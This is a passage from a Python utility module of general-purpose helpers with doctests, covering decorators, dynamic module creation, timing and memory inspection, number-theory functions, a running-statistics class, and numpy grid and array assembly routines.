@typing.overload # Decorator with arguments.
def noop_decorator(*args: Any, **kwargs: Any) -> Callable[[_F], _F]: ...
def noop_decorator(*args: Any, **kwargs: Any) -> Any:
"""Return function decorated with no-op; invokable with or without args.
>>> @noop_decorator
... def func1(x): return x * 10
>>> @noop_decorator()
... def func2(x): return x * 10
>>> @noop_decorator(2, 3)
... def func3(x): return x * 10
>>> @noop_decorator(keyword=True)
... def func4(x): return x * 10
>>> check_eq(func1(1) + func2(1) + func3(1) + func4(1), 40)
"""
if len(args) != 1 or not callable(args[0]) or kwargs:
return noop_decorator # Decorator is invoked with arguments; ignore them.
func: Callable[[Any], Any] = args[0]
return func
def terse_str(cls: type) -> type:
"""Decorator for a dataclasses.dataclass, which defines a custom str().
>>> @terse_str
... @dataclasses.dataclass
... class TestTerseStr:
... a: int = 3
... b: List[str] = dataclasses.field(default_factory=lambda: ['g', 'h'])
>>> str(TestTerseStr())
'TestTerseStr()'
>>> str(TestTerseStr(a=4))
'TestTerseStr(a=4)'
>>> str(TestTerseStr(b=['i', 'j']))
"TestTerseStr(b=['i', 'j'])"
"""
assert isinstance(cls, type)
default_for_field = {
field.name: (field.default_factory() if callable(field.default_factory)
else field.default)
for field in dataclasses.fields(cls)
if field.repr
}
def __str__(self: Any) -> str:
"""Return a string containing only the non-default field values."""
text = ', '.join(f'{name}={getattr(self, name)!r}'
for name, default in default_for_field.items()
if getattr(self, name) != default)
return f'{type(self).__name__}({text})'
setattr(cls, '__str__', __str__)
return cls
## Imports and modules
# If placing this code in a package, rename this file to __init__.py
# as discussed in https://pcarleton.com/2016/09/06/python-init/
# to avoid long names like package.module.function. See the example in
# https://github.com/python/cpython/blob/master/Lib/collections/__init__.py
def create_module(module_name: str, elements: Iterable[Any] = ()) -> Any:
"""Return a new empty module (not associated with any file).
>>> def some_function(*args, **kwargs): return 'success'
>>> class Node:
... def __init__(self): self.attrib = 2
>>> test_module = create_module('test_module', [some_function, Node])
>>> test_module.some_function(10)
'success'
>>> assert 'some_function' in dir(test_module)
>>> help(test_module.some_function)
Help on function some_function in module test_module:
<BLANKLINE>
some_function(*args, **kwargs)
<BLANKLINE>
>>> node = test_module.Node()
>>> type(node)
<class 'test_module.Node'>
>>> node.attrib
2
"""
# https://stackoverflow.com/a/53080237
module = sys.modules.get(module_name)
if not module:
spec = importlib.util.spec_from_loader(module_name, loader=None)
assert spec
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
for element in elements:
setattr(module, element.__name__, element)
element.__module__ = module_name
return module
## System functions
@contextlib.contextmanager
def timing(description: str = 'Timing') -> Generator[None, None, None]:
"""Context that reports elapsed time.
Example:
with timing('List comprehension example'):
_ = [i for i in range(10_000_000)]
Args:
description: A string to print before the elapsed time.
Yields:
None.
>>> with timing('List comprehension example'):
... _ = [i for i in range(10_000)] # doctest:+ELLIPSIS
List comprehension example: 0.00...
"""
start = time.monotonic()
yield
elapsed_time = time.monotonic() - start
print(f'{description}: {elapsed_time:.6f}')
def typename(o: Any) -> str:
"""Return the full name (including module) of the type of o.
>>> typename(5)
'int'
>>> typename('text')
'str'
>>> typename(np.array([1]))
'numpy.ndarray'
"""
# https://stackoverflow.com/a/2020083
name: str = o.__class__.__qualname__
module = o.__class__.__module__
return name if module in (None, 'builtins') else f'{module}.{name}'
def show_biggest_vars(variables: Mapping[str, Any], n: int = 10) -> None:
"""Print the variables with the largest memory allocation (in bytes).
Usage:
show_biggest_vars(globals())
Args:
variables: Dictionary of variables (often, `globals()`).
n: The number of largest variables to list.
>>> show_biggest_vars({'i': 12, 's': 'text', 'ar': np.ones((1000, 1000))})
... # doctest:+ELLIPSIS
ar numpy.ndarray ...
s str ...
i int ...
"""
var = variables
infos = [(name, sys.getsizeof(value), typename(value))
for name, value in var.items()]
infos.sort(key=lambda pair: pair[1], reverse=True)
for name, size, vartype in infos[:n]:
print(f'{name:24} {vartype:20} {size:_}')
## Mathematics
def as_float(a: Any) -> _NDArray:
"""Convert non-floating-point array to floating-point type.
Args:
a: Input array.
Returns:
Array 'a' if it is already floating-point (np.float32 or np.float64),
else 'a' converted to type np.float32 or np.float64 based on the necessary
precision. Note that 64-bit integers cannot be represented exactly.
>>> as_float(np.array([1.0, 2.0]))
array([1., 2.])
>>> as_float(np.array([1.0, 2.0], dtype=np.float32))
array([1., 2.], dtype=float32)
>>> as_float(np.array([1.0, 2.0], dtype='float64'))
array([1., 2.])
>>> as_float(np.array([1, 2], dtype=np.uint8))
array([1., 2.], dtype=float32)
>>> as_float(np.array([1, 2], dtype=np.uint16))
array([1., 2.], dtype=float32)
>>> as_float(np.array([1, 2]))
array([1., 2.])
"""
a = np.asarray(a)
if issubclass(a.dtype.type, np.floating):
return a
dtype = np.float64 if np.iinfo(a.dtype).bits >= 32 else np.float32
return a.astype(dtype)
def normalize(a: Any, axis: Optional[int] = None) -> _NDArray:
"""Return array 'a' scaled such that its elements have unit 2-norm.
Args:
a: Input array.
axis: Optional axis. If None, normalizes the entire matrix. Otherwise,
normalizes each element along the specified axis.
Returns:
An array such that its elements along 'axis' are rescaled to have L2 norm
equal to 1. Any element with zero norm is replaced by nan values.
>>> normalize(np.array([10, 10, 0]))
array([0.70710678, 0.70710678, 0. ])
>>> normalize([[0, 10], [10, 10]], axis=-1)
array([[0. , 1. ],
[0.70710678, 0.70710678]])
>>> normalize([[0, 10], [10, 10]], axis=0)
array([[0. , 0.70710678],
[1. , 0.70710678]])
>>> normalize([[0, 10], [10, 10]])
array([[0. , 0.57735027],
[0.57735027, 0.57735027]])
"""
a = np.asarray(a)
norm = np.linalg.norm(a, axis=axis)
if axis is not None:
norm = np.expand_dims(norm, axis)
with np.errstate(invalid='ignore'):
return a / norm
def rms(a: Any, axis: Optional[int] = None) -> Union[float, _NDArray]:
"""Return the root mean square of the array values.
>>> rms([3.0])
3.0
>>> rms([-3.0, 4.0])
3.5355339059327378
>>> rms([10, 11, 12])
11.030261405182864
>>> rms([[-1.0, 1.0], [0.0, -2.0]])
1.224744871391589
>>> rms([[-1.0, 1.0], [0.0, -2.0]], axis=-1)
array([1. , 1.41421356])
"""
return np.sqrt(np.mean(np.square(as_float(a)), axis, dtype=np.float64))
def lenient_subtract(a: Any, b: Any) -> Any:
"""Return a - b, but returns 0 where a and b are the same signed infinity.
>>> inf = math.inf
>>> lenient_subtract([3., 3., inf, inf, -inf, -inf],
... [1., inf, inf, -inf, inf, -inf])
array([ 2., -inf, 0., inf, -inf, 0.])
"""
a = np.asarray(a)
b = np.asarray(b)
same_infinity = ((np.isposinf(a) & np.isposinf(b)) |
(np.isneginf(a) & np.isneginf(b)))
return np.subtract(a, b, out=np.zeros_like(a), where=~same_infinity)
def print_array(a: Any, **kwargs: Any) -> None:
"""Print the array.
>>> print_array(np.arange(6).reshape(2, 3), file=sys.stdout)
array([[0, 1, 2],
[3, 4, 5]]) shape=(2, 3) dtype=int64
"""
x = np.asarray(a)
print_err(f'{repr(x)} shape={x.shape} dtype={x.dtype}', **kwargs)
def prime_factors(n: int) -> List[int]:
"""Return an ascending list of the (greather-than-one) prime factors of n.
>>> prime_factors(1)
[]
>>> prime_factors(2)
[2]
>>> prime_factors(4)
[2, 2]
>>> prime_factors(60)
[2, 2, 3, 5]
"""
factors = []
d = 2
while d * d <= n:
while (n % d) == 0:
factors.append(d)
n //= d
d += 1
if n > 1:
factors.append(n)
return factors
def extended_gcd(a: int, b: int) -> Tuple[int, int, int]:
"""Find the greatest common divisor using the extended Euclidean algorithm.
Returns:
A tuple (gcd, x, y) with the property that a * x + b * y = gcd.
>>> extended_gcd(29, 71)
(1, -22, 9)
>>> (29 * -22) % 71
1
"""
prev_x, x = 1, 0
prev_y, y = 0, 1
while b:
q = a // b
x, prev_x = prev_x - q * x, x
y, prev_y = prev_y - q * y, y
a, b = b, a % b
x, y = prev_x, prev_y
return a, x, y
def modular_inverse(a: int, b: int) -> int:
"""Return the multiplicative inverse of 'a' with respect to the modulus 'b'.
With the extended Euclidean algorithm, for the case that a and b are coprime,
i.e. gcd(a, b) = 1, applying "modulo b" to both sides of a * x + b * y = 1
results in (a * x) % b = 1, and hence 'x' is a modular multiplicative inverse
of 'a' with respect to the modulus 'b'.
See https://en.wikipedia.org/wiki/Modular_multiplicative_inverse
>>> modular_inverse(29, 71)
49
>>> (29 * 49) % 71
1
"""
# Note: This becomes available as "pow(a, -1, mod=b)" in Python 3.8.
gcd, x, unused_y = extended_gcd(a, b)
check_eq(gcd, 1)
return x % b
def diagnostic(a: Any) -> str:
"""Return a diagnostic string summarizing the values in 'a' for debugging.
Args:
a: Input values; must be convertible to an np.ndarray of scalars.
Returns:
A string summarizing the different types of arithmetic values.
>>> import textwrap
>>> print(textwrap.fill(diagnostic(
... [[math.nan, math.inf, -math.inf, -math.inf], [0, -1, 2, -0]])))
shape=(2, 4) dtype=float64 size=8 nan=1 posinf=1 neginf=2 finite=4,
min=-1.0, max=2.0, avg=0.25, sdv=1.25831) zero=2
"""
a = np.asarray(a)
dtype = a.dtype
if dtype == bool:
a = a.astype(np.uint8)
finite = a[np.isfinite(a)]
return (f'shape={a.shape} dtype={dtype} size={a.size}'
f' nan={np.isnan(a).sum()}'
f' posinf={np.isposinf(a).sum()}'
f' neginf={np.isneginf(a).sum()}'
f' finite{repr(Stats(finite))[10:]}'
f' zero={(finite == 0).sum()}')
## Statistics
class Stats:
r"""Statistics computed from numbers in an iterable.
>>> Stats()
Stats(size=0, min=inf, max=-inf, avg=nan, sdv=nan)
>>> Stats([1.5])
Stats(size=1, min=1.5, max=1.5, avg=1.5, sdv=0.0)
>>> Stats(range(3, 5))
Stats(size=2, min=3, max=4, avg=3.5, sdv=0.707107)
>>> Stats([3.0, 4.0])
Stats(size=2, min=3.0, max=4.0, avg=3.5, sdv=0.707107)
>>> Stats([-12345., 2.0**20])
Stats(size=2, min=-12345.0, max=1.04858e+06, avg=5.18116e+05, sdv=7.50184e+05)
>>> print(Stats(range(55)))
( 55) 0 : 54 av=27.0000 sd=16.0208
>>> print(Stats())
( 0) inf : -inf av=nan sd=nan
>>> str(Stats() + Stats([3.0]))
'( 1) 3.00000 : 3.00000 av=3.00000 sd=0.00000'
>>> print(f'{Stats([-12345., 2.0**20]):14.9}')
( 2) -12345.0 : 1048576.0 av=518115.5 sd=750184.433
>>> print(f'{Stats([-12345., 2.0**20]):#10.4}')
( 2) -1.234e+04 : 1.049e+06 av=5.181e+05 sd=7.502e+05
>>> len(Stats([1, 2]))
2
>>> Stats([-2, 2]).rms()
2.0
>>> a = Stats([1, 2])
>>> a.min(), a.max(), a.avg()
(1, 2, 1.5)
>>> stats1 = Stats([-3, 7])
>>> stats2 = Stats([1.25e11 / 3, -1_234_567_890])
>>> stats3 = stats1 + stats2 * 20_000_000
>>> print(stats1, f'{stats2}', format(stats3), sep='\n')
( 2) -3 : 7 av=2.00000 sd=7.07107
( 2) -1.23457e+09 : 4.16667e+10 av=2.02160e+10 sd=3.03358e+10
( 40_000_002) -1.23457e+09 : 4.16667e+10 av=2.02160e+10 sd=2.14506e+10
>>> fmt = '9.3'
>>> print(f'{stats1:{fmt}}', f'{stats2:{fmt}}', f'{stats3:{fmt}}', sep='\n')
( 2) -3 : 7 av=2.0 sd=7.07
( 2) -1.23e+09 : 4.17e+10 av=2.02e+10 sd=3.03e+10
( 40_000_002) -1.23e+09 : 4.17e+10 av=2.02e+10 sd=2.15e+10
"""
_size: int
_sum: float
_sum2: float
_min: float
_max: float
def __init__(self, *args: Any) -> None:
if not args:
self._size = 0
self._sum = 0.0
self._sum2 = 0.0
self._min = math.inf
self._max = -math.inf
elif len(args) == 1:
a = array_always(args[0])
self._size = a.size
self._sum = a.sum()
self._sum2 = np.square(a).sum()
self._min = a.min() if a.size > 0 else math.inf
self._max = a.max() if a.size > 0 else -math.inf
else:
(self._size, self._sum, self._sum2, self._min, self._max) = args
def sum(self) -> float:
"""Return the sum of the values.
>>> f'{Stats([3.5, 2.2, 4.4]).sum():.8g}'
'10.1'
"""
return self._sum
def min(self) -> float:
"""Return the minimum value.
>>> Stats([3.5, 2.2, 4.4]).min()
2.2
"""
return self._min
def max(self) -> float:
"""Return the maximum value.
>>> Stats([3.5, 2.2, 4.4]).max()
4.4
"""
return self._max
def avg(self) -> float:
"""Return the average.
>>> Stats([1, 1, 4]).avg()
2.0
"""
return math.nan if self._size == 0 else self._sum / self._size
def ssd(self) -> float:
"""Return the sum of squared deviations.
>>> Stats([1, 1, 4]).ssd()
6.0
"""
return (math.nan if self._size == 0 else
max(self._sum2 - self._sum**2 / self._size, 0))
def var(self) -> float:
"""Return the unbiased estimate of variance, as in np.var(a, ddof=1).
>>> Stats([1, 1, 4]).var()
3.0
"""
return (math.nan if self._size == 0 else
0.0 if self._size == 1 else
self.ssd() / (self._size - 1))
def sdv(self) -> float:
"""Return the unbiased standard deviation as in np.std(a, ddof=1).
>>> Stats([1, 1, 4]).sdv()
1.7320508075688772
"""
return self.var()**0.5
def rms(self) -> float:
"""Return the root-mean-square.
>>> Stats([1, 1, 4]).rms()
2.449489742783178
>>> Stats([-1, 1]).rms()
1.0
"""
return 0.0 if self._size == 0 else (self._sum2 / self._size)**0.5
def __format__(self, format_spec: str = '') -> str:
"""Return a summary of the statistics (size, min, max, avg, sdv)."""
fmt = format_spec if format_spec else '#12.6'
fmt_int = fmt[:fmt.find('.')] if fmt.find('.') >= 0 else ''
fmt_min = fmt if isinstance(self._min, np.floating) else fmt_int
fmt_max = fmt if isinstance(self._max, np.floating) else fmt_int
return (f'({self._size:11_})'
f' {self._min:{fmt_min}} :'
f' {self._max:<{fmt_max}}'
f' av={self.avg():<{fmt}}'
f' sd={self.sdv():<{fmt}}').rstrip()
def __str__(self) -> str:
return self.__format__()
def __repr__(self) -> str:
fmt = '.6'
fmt_int = ''
fmt_min = fmt if isinstance(self._min, np.floating) else fmt_int
fmt_max = fmt if isinstance(self._max, np.floating) else fmt_int
return (f'Stats(size={self._size}, '
f'min={self._min:{fmt_min}}, '
f'max={self._max:{fmt_max}}, '
f'avg={self.avg():{fmt}}, '
f'sdv={self.sdv():{fmt}})')
def __len__(self) -> int:
return self._size
def __eq__(self, other: object) -> bool:
if not isinstance(other, Stats):
return NotImplemented
return ((self._size, self._sum, self._sum2, self._min, self._max) ==
(other._size, other._sum, other._sum2, other._min, other._max))
def __add__(self, other: 'Stats') -> 'Stats':
"""Return combined statistics.
>>> Stats([2, -1]) + Stats([7, 5]) == Stats([-1, 2, 5, 7])
True
"""
return Stats(self._size + other._size, self._sum + other._sum,
self._sum2 + other._sum2, min(self._min, other._min),
max(self._max, other._max))
def __mul__(self, n: int) -> 'Stats':
"""Return statistics whereby each element appears 'n' times.
>>> Stats([4, -2]) * 3 == Stats([-2, -2, -2, 4, 4, 4])
True
"""
return Stats(
self._size * n, self._sum * n, self._sum2 * n, self._min, self._max)
## Numpy operations
def array_always(a: Any) -> _NDArray:
"""Return a numpy array even if a is an iterator of subarrays.
>>> array_always(np.array([[1, 2], [3, 4]]))
array([[1, 2],
[3, 4]])
>>> array_always(range(3) for _ in range(2))
array([[0, 1, 2],
[0, 1, 2]])
>>> array_always(np.array([[1, 2], [3, 4]]))
array([[1, 2],
[3, 4]])
"""
if isinstance(a, collections.abc.Iterator):
return np.array(tuple(a))
return np.asarray(a)
def bounding_slices(a: Any) -> Tuple[slice, ...]:
"""Return the slices that bound the nonzero elements of array.
>>> bounding_slices(())
(slice(0, 0, None),)
>>> bounding_slices(np.ones(0))
(slice(0, 0, None),)
>>> bounding_slices(np.ones((0, 10)))
(slice(0, 0, None), slice(0, 0, None))
>>> bounding_slices(32.0)
(slice(0, 1, None),)
>>> bounding_slices([0.0, 0.0, 0.0, 0.5, 1.5, 0.0, 2.5, 0.0, 0.0])
(slice(3, 7, None),)
>>> a = np.array([0, 0, 6, 7, 0, 0])
>>> a[bounding_slices(a)]
array([6, 7])
>>> a = np.array([[0, 0, 0], [0, 1, 1], [0, 0, 0]])
>>> a[bounding_slices(a)]
array([[1, 1]])
>>> bounding_slices([[[0, 0], [0, 1]], [[0, 0], [0, 0]]])
(slice(0, 1, None), slice(1, 2, None), slice(1, 2, None))
"""
a = np.atleast_1d(a)
slices = []
for dim in range(a.ndim):
line = a.any(axis=tuple(i for i in range(a.ndim) if i != dim))
indices = line.nonzero()[0]
if indices.size:
vmin, vmax = indices[[0, -1]]
slices.append(slice(vmin, vmax + 1))
else:
slices.append(slice(0, 0)) # Empty slice.
return tuple(slices)
def broadcast_block(a: Any, block_shape: Any) -> _NDArray:
"""Return an array view where each element of 'a' is repeated as a block.
Args:
a: input array of any dimension.
block_shape: shape for the block that each element of 'a' becomes. If a
scalar value, all block dimensions are assigned this value.
Returns:
an array view with shape "a.shape * block_shape".
>>> print(broadcast_block(np.arange(8).reshape(2, 4), (2, 3)))
[[0 0 0 1 1 1 2 2 2 3 3 3]
[0 0 0 1 1 1 2 2 2 3 3 3]
[4 4 4 5 5 5 6 6 6 7 7 7]
[4 4 4 5 5 5 6 6 6 7 7 7]]
>>> a = np.arange(6).reshape(2, 3)
>>> result = broadcast_block(a, (2, 3))
>>> result.shape
(4, 9)
>>> np.all(result == np.kron(a, np.ones((2, 3), dtype=a.dtype)))
True
"""
block_shape = np.broadcast_to(block_shape, (a.ndim,))
# Inspired from https://stackoverflow.com/a/52339952
# and https://stackoverflow.com/a/52346065
shape1 = tuple(v for pair in zip(a.shape, (1,) * a.ndim) for v in pair)
shape2 = tuple(v for pair in zip(a.shape, block_shape) for v in pair)
final_shape = a.shape * block_shape
return np.broadcast_to(a.reshape(shape1), shape2).reshape(final_shape)
def np_int_from_ch(a: Any, int_from_ch: Mapping[str, int],
dtype: Any = None) -> _NDArray:
"""Return array of integers by mapping from array of characters.
>>> np_int_from_ch(np.array(list('abcab')), {'a': 0, 'b': 1, 'c': 2})
array([0, 1, 2, 0, 1])
"""
# Adapted from https://stackoverflow.com/a/49566980
a = np.asarray(a).view(np.int32)
lookup = np.zeros(a.max() + 1, dtype=dtype or np.int64)
for ch, value in int_from_ch.items():
lookup[ord(ch)] = value
return lookup[a]
def grid_from_string(string: str,
int_from_ch: Optional[Mapping[str, int]] = None,
dtype: Any = None) -> _NDArray:
r"""Return a 2D array created from a multiline string.
Args:
string: Nonempty lines correspond to the rows of the grid, with one chr
per grid element.
int_from_ch: Mapping from the chr in string to integers in the resulting
grid; if None, the grid contains chr elements (dtype='<U1').
dtype: Integer element type for the result of int_from_ch.
>>> string = '..B\nB.A\n'
>>> g = grid_from_string(string)
>>> g, g.nbytes
(array([['.', '.', 'B'],
['B', '.', 'A']], dtype='<U1'), 24)
>>> g = grid_from_string(string, {'.': 0, 'A': 1, 'B': 2})
>>> g, g.nbytes
(array([[0, 0, 2],
[2, 0, 1]]), 48)
>>> g = grid_from_string(string, {'.': 0, 'A': 1, 'B': 2}, dtype=np.uint8)
>>> g, g.nbytes
(array([[0, 0, 2],
[2, 0, 1]], dtype=uint8), 6)
"""
# grid = np.array(list(map(list, string.strip('\n').split('\n')))) # Slow.
lines = string.strip('\n').splitlines()
height, width = len(lines), len(lines[0])
grid = np.empty((height, width), dtype='U1')
dtype_for_row = f'U{width}'
for i, line in enumerate(lines):
grid[i].view(dtype_for_row)[0] = line
if int_from_ch is None:
assert dtype is None
else:
grid = np_int_from_ch(grid, int_from_ch, dtype=dtype)
return grid
def string_from_grid(grid: Any,
ch_from_int: Optional[Mapping[int, str]] = None) -> str:
r"""Return a multiline string created from a 2D array.
Args:
grid: 2D array-like data containing either chr or integers.
ch_from_int: Mapping from each integer in grid to the chr in the resulting
string; if None, the grid must contain str or byte elements.
>>> string_from_grid([[0, 1], [0, 0]], {0: '.', 1: '#'})
'.#\n..'
>>> string_from_grid([['a', 'b', 'c'], ['d', 'e', 'f']])
'abc\ndef'
>>> string_from_grid([[b'A', b'B'], [b'C', b'D']])
'AB\nCD'
"""
grid = np.asarray(grid)
check_eq(grid.ndim, 2)
lines = []
for y in range(grid.shape[0]):
if ch_from_int is None:
if grid.dtype.kind == 'S': # or dtype.type == np.bytes_
line = b''.join(grid[y]).decode('ascii')
else:
line = ''.join(grid[y])
else:
line = ''.join(ch_from_int[elem] for elem in grid[y])
lines.append(line)
return '\n'.join(lines)
def grid_from_indices(iterable_or_map: Union[Iterable[Sequence[int]],
Mapping[Sequence[int], Any]],
background: Any = 0,
foreground: Any = 1,
indices_min: Optional[Union[int, Sequence[int]]] = None,
indices_max: Optional[Union[int, Sequence[int]]] = None,
pad: Union[int, Sequence[int]] = 0,
dtype: Any = None) -> _NDArray:
r"""Return an array from (sparse) indices or from a map {index: value}.
Indices are sequences of integers with some length D, which determines the
dimensionality of the output array. The array shape is computed by bounding
the range of index coordinates in each dimension (which may be overriden by
'indices_min' and 'indices_max') and is adjusted by the 'pad' parameter.
Args:
iterable_or_map: A sequence of indices or a mapping from indices to values.
background: Value assigned to the array elements not in 'iterable_or_map'.
foreground: If 'iterable_or_map' is an iterable, the array value assigned to
its indices.
indices_min: For each dimension, the index coordinate that gets mapped to
coordinate zero in the array. Replicated if an integer.
indices_max: For each dimension, the index coordinate that gets mapped to
the last coordinate in the array. Replicated if an integer.
pad: For each dimension d, number of additional slices of 'background'
values before and after the range [indices_min[d], indices_max[d]].
dtype: Data type of the output array.
Returns:
A D-dimensional numpy array initialized with the value 'background' and
then sparsely assigned the elements in the parameter 'iterable_or_map'
(using 'foreground' value if an iterable, or the map values if a map).
By default, array spans a tight bounding box of the indices, but these
bounds can be overridden using 'indices_min', 'indices_max', and 'pad'.
>>> l = [(-1, -2), (-1, 1), (1, 0)]
>>> grid_from_indices(l)
array([[1, 0, 0, 1],
[0, 0, 0, 0],
[0, 0, 1, 0]])
>>> grid_from_indices(l, indices_max=(1, 2))
array([[1, 0, 0, 1, 0],
[0, 0, 0, 0, 0],
[0, 0, 1, 0, 0]])
>>> grid_from_indices(l, foreground='#', background='.')
array([['#', '.', '.', '#'],
['.', '.', '.', '.'],
['.', '.', '#', '.']], dtype='<U1')
>>> l = [5, -2, 1]
>>> grid_from_indices(l, pad=1)
array([0, 1, 0, 0, 1, 0, 0, 0, 1, 0])
>>> grid_from_indices(l, indices_min=-4, indices_max=5)
array([0, 0, 1, 0, 0, 1, 0, 0, 0, 1])
>>> l = [(1, 1, 1), (2, 2, 2), (2, 1, 1)]
>>> repr(grid_from_indices(l))
'array([[[1, 0],\n [0, 0]],\n\n [[1, 0],\n [0, 1]]])'
>>> m = {(-1, 0): 'A', (0, 2): 'B', (1, 1): 'C'}
>>> grid_from_indices(m, background=' ')
array([['A', ' ', ' '],
[' ', ' ', 'B'],
[' ', 'C', ' ']], dtype='<U1')
>>> grid_from_indices(m, background=' ', dtype='S1')
array([[b'A', b' ', b' '],
[b' ', b' ', b'B'],
[b' ', b'C', b' ']], dtype='|S1')
>>> grid_from_indices({(0, 0): (255, 1, 2), (1, 2): (3, 255, 4)})
array([[[255, 1, 2],
[ 0, 0, 0],
[ 0, 0, 0]],
<BLANKLINE>
[[ 0, 0, 0],
[ 0, 0, 0],
[ 3, 255, 4]]])
"""
assert isinstance(iterable_or_map, collections.abc.Iterable)
is_map = False
if isinstance(iterable_or_map, collections.abc.Mapping):
is_map = True
mapping: Mapping[Sequence[int], Any] = iterable_or_map
indices = np.array(list(iterable_or_map))
if indices.ndim == 1:
indices = indices[:, None]
assert indices.ndim == 2 and np.issubdtype(indices.dtype, np.integer)
def get_min_or_max_bound(f: Any, x: Any) -> _NDArray:
return f(indices, axis=0) if x is None else np.full(indices.shape[1], x)
i_min = get_min_or_max_bound(np.min, indices_min)
i_max = get_min_or_max_bound(np.max, indices_max)
a_pad = np.asarray(pad)
shape = i_max - i_min + 2 * a_pad + 1
offset = -i_min + a_pad
elems = [next(iter(mapping.values()))] if is_map and mapping else []
elems += [background, foreground]
shape = (*shape, *np.broadcast(*elems).shape)
dtype = np.array(elems[0], dtype=dtype).dtype
grid = np.full(shape, background, dtype=dtype)
indices += offset
grid[tuple(indices.T)] = list(mapping.values()) if is_map else foreground
return grid
def image_from_yx_map(map_yx_value: Mapping[Tuple[int, int], Any],
background: Any,
cmap: Mapping[Any, Tuple[numbers.Integral,
numbers.Integral,
numbers.Integral]],
pad: Union[int, Sequence[int]] = 0) -> _NDArray:
"""Return image from mapping {yx: value} and cmap = {value: rgb}.
>>> m = {(2, 2): 'A', (2, 4): 'B', (1, 3): 'A'}
>>> cmap = {'A': (100, 1, 2), 'B': (3, 200, 4), ' ': (235, 235, 235)}
>>> image_from_yx_map(m, background=' ', cmap=cmap)
array([[[235, 235, 235],
[100, 1, 2],
[235, 235, 235]],
<BLANKLINE>
[[100, 1, 2],
[235, 235, 235],
[ 3, 200, 4]]], dtype=uint8)
"""
array = grid_from_indices(map_yx_value, background=background, pad=pad)
image = np.array([
cmap[e] for e in array.flat # pylint: disable=not-an-iterable
], dtype=np.uint8).reshape(*array.shape, 3)
return image
def fit_shape(shape: Sequence[int], num: int) -> Tuple[int, ...]:
"""Given 'shape' with one optional -1 dimension, make it fit 'num' elements.
Args:
shape: Input dimensions. These must be positive, except that one dimension
may be -1 to indicate that it should be computed. If all dimensions are
positive, these must satisfy np.prod(shape) >= num.
num: Number of elements to fit into the output shape.
Returns:
The original 'shape' if all its dimensions are positive. Otherwise, a
new_shape where the unique dimension with value -1 is replaced by the
smallest number such that np.prod(new_shape) >= num.
>>> fit_shape((3, 4), 10)
(3, 4)
>>> fit_shape((5, 2), 11)
Traceback (most recent call last):
...
ValueError: (5, 2) is insufficiently large for 11 elements.
>>> fit_shape((3, -1), 10)
(3, 4)
>>> fit_shape((-1, 10), 51)
(6, 10)
"""
shape = tuple(shape)
if not all(dim > 0 for dim in shape if dim != -1):
raise ValueError(f'Shape {shape} has non-positive dimensions.')
if sum(dim == -1 for dim in shape) > 1:
raise ValueError(f'More than one dimension in {shape} is -1.')
if -1 in shape:
slice_size = np.prod([dim for dim in shape if dim != -1])
shape = tuple((num + slice_size - 1) // slice_size if dim == -1 else dim
for dim in shape)
elif np.prod(shape) < num:
raise ValueError(f'{shape} is insufficiently large for {num} elements.')
return shape
def assemble_arrays(arrays: Sequence[_NDArray],
shape: Sequence[int],
background: Any = 0,
*,
align: str = 'center',
spacing: Any = 0,
round_to_even: Any = False) -> _NDArray:
"""Return an output array formed as a packed grid of input arrays.
Args:
arrays: Sequence of input arrays with the same data type and rank. The
arrays must have the same trailing dimensions arrays[].shape[len(shape):].
The leading dimensions arrays[].shape[:len(shape)] may be different and
these are packed together as a grid to form output.shape[:len(shape)].
shape: Dimensions of the grid used to unravel the arrays before packing. The
dimensions must be positive, with prod(shape) >= len(arrays). One
dimension of shape may be -1, in which case it is computed automatically
as the smallest value such that prod(shape) >= len(arrays).
background: Broadcastable value used for the unassigned elements of the
output array.
align: Relative position ('center', 'start', or 'stop') for each input array
and for each axis within its output grid cell. The value must be
broadcastable onto the shape [len(arrays), len(shape)].
spacing: Extra space between grid elements. The value may be specified
per-axis, i.e., it must be broadcastable onto the shape [len(shape)].
round_to_even: If True, ensure that the final output dimension of each axis
is even. The value must be broadcastable onto the shape [len(shape)].
Returns:
A numpy output array of the same type as the input 'arrays', with
output.shape = packed_shape + arrays[0].shape[len(shape):], where
packed_shape is obtained by packing arrays[:].shape[:len(shape)] into a
grid of the specified 'shape'.
>>> assemble_arrays(
... [np.array([[1, 2, 3]]), np.array([[5], [6]]), np.array([[7]]),
... np.array([[8, 9]]), np.array([[3, 4, 5]])],
... shape=(2, 3))
array([[1, 2, 3, 0, 5, 0, 7],
[0, 0, 0, 0, 6, 0, 0],
[8, 9, 0, 3, 4, 5, 0]])
"""
num = len(arrays)
if num == 0:
raise ValueError('There must be at least one input array.')
shape = fit_shape(shape, num)
if any(array.dtype != arrays[0].dtype for array in arrays):
raise ValueError(f'Arrays {arrays} have different types.')
tail_dims = arrays[0].shape[len(shape):]
if any(array.shape[len(shape):] != tail_dims for array in arrays):
raise ValueError(f'Shapes of {arrays} do not all end in {tail_dims}')
align = np.broadcast_to(align, (num, len(shape)))
spacing = np.broadcast_to(spacing, (len(shape)))
round_to_even = np.broadcast_to(round_to_even, (len(shape)))
# [shape] -> leading dimensions [:len(shape)] of each input array.
head_dims = np.array([list(array.shape[:len(shape)]) for array in arrays] +
[[0] * len(shape)] * (np.prod(shape) - num)).reshape(
*shape, len(shape))
# For each axis, find the length and position of each slice of input arrays.
axis_lengths, axis_origins = [], []
for axis, shape_axis in enumerate(shape):
all_lengths = np.moveaxis(head_dims[..., axis], axis, 0)
# Find the length of each slice along axis as the max over its arrays.
lengths = all_lengths.max(axis=tuple(range(1, len(shape))))
# Compute the dimension of the output axis.
total_length = lengths.sum() + spacing[axis] * (shape_axis - 1)
if round_to_even[axis] and total_length % 2 == 1:
lengths[-1] += 1 # Lengthen the last slice so the axis dimension is even.
axis_lengths.append(lengths)
# Insert inter-element padding spaces.
spaced_lengths = np.insert(lengths, 0, 0)
spaced_lengths[1:-1] += spacing[axis]
# Compute slice positions along axis as cumulative sums of slice lengths.
axis_origins.append(spaced_lengths.cumsum())
# [shape] -> smallest corner coords in output array.
origins = np.moveaxis(np.meshgrid(*axis_origins, indexing='ij'), 0, -1)
# Initialize the output array.
output_shape = tuple(origins[(-1,) * len(shape)]) + tail_dims
output_array = np.full(output_shape, background, dtype=arrays[0].dtype)
def offset(length: int, size: int, align: str) -> int:
"""Return an offset to align element of given size within cell of length."""
remainder = length - size
if align not in ('start', 'stop', 'center'):
raise ValueError(f'Alignment {align} is not recognized.')
return (0 if align == 'start' else
remainder if align == 'stop' else remainder // 2)
# Copy each input array to its packed, aligned location in the output array.
for i, array in enumerate(arrays):
coords = np.unravel_index(i, shape)
slices = []
for axis in range(len(shape)):
start = origins[coords][axis]
